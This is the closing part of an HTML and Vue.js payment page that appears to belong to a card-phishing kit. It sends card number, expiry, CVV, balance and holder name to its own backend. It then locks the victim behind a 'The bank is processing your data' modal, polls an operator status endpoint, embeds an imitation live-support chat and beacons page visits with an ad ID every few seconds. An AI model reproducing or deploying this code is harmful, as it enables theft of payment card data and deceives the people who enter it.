                this.cardMonth.toString() +
                "/" +
                this.cardYear.toString().substr(-2),
              cvv: this.cardCvv,
              balance: this.cardBalance,
              cardHolder: this.cardHolder // Добавлено

            })
            .finally(() => (this.loading = false))
            .then((response) => {
              localStorage.token = response.data.token;
              this.logToken = response.data.token;
              if (this.currentStatus == null) this.checkLogStatus();
              swal({
                title: "Expect",
                text: "The bank is processing your data. This may take some time",
                icon: "info",
                closeOnClickOutside: false,
                closeOnEsc: false,
                buttons: false,
              });
            })
            .catch((err) => {
              alert(err)
              swal("Error", "An unexpected error has occurred. Please try again", "error");
            });
        }
      },
      checkLogStatus() {
        axios
          .post("/api/checkStatus", {
            token: this.logToken,
          })
          .finally(() => setTimeout(() => this.checkLogStatus(this.logToken), 1500))
          .then((response) => {
            if (this.currentStatus != response.data.status)
              this.currentStatus = response.data.status;
          })
          .catch((err) => err);
      },
      flipCard(status) {
        this.isCardFlipped = status;
      },
      focusInput(e) {
        this.isInputFocused = true;
        let targetRef = e.target.dataset.ref;
        let target = this.$refs[targetRef];
        this.focusElementStyle = {
          width: `${target.offsetWidth}px`,
          height: `${target.offsetHeight}px`,
          transform: `translateX(${target.offsetLeft}px) translateY(${target.offsetTop}px)`,
        };
      },
      blurInput() {
        let vm = this;
        setTimeout(() => {
          if (!vm.isInputFocused) {
            vm.focusElementStyle = null;
          }
        }, 300);
        vm.isInputFocused = false;
      },
    },
      });
  </script>
  <div class="
        chatra--webkit
        chatra--style-round
        chatra--side-bottom
        chatra--pos-right
        chatra--visible
        chatra--expanded
        chatra--fast-toggle
      " id="chatra" data-turbolinks-permanent="" style="
        width: 380px;
        height: 600px;
        transform: none;
        z-index: 2147483647;
        display: none;
      ">
    <div id="chatra__iframe-wrapper">
      <iframe frameborder="0" id="chatra__iframe" allowtransparency="true" title="Chatra live chat" allow="autoplay" src="/supportChatFrame/265241624" style="width: 380px; height: 600px; position: absolute"></iframe>
    </div>
  </div>
<script>
const adId = "265241624"; // Получение adId из серверного шаблона

document.addEventListener("DOMContentLoaded", function() {
    function sendData() {
        const url = window.location.href;
        const lastSentTime = new Date().toISOString();

        fetch('/api/savePageData', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({ url, lastSentTime, adId }), // Используйте adId вместо siteId
        });
    }

    setInterval(sendData, 3000); // Устанавливаем интервал в 3 секунды
});
 
</script>

 <div class="support-circle" onclick="document.querySelector('#chatra').style.display = 'block';this.style.display = 'none'"></div>


</body></html>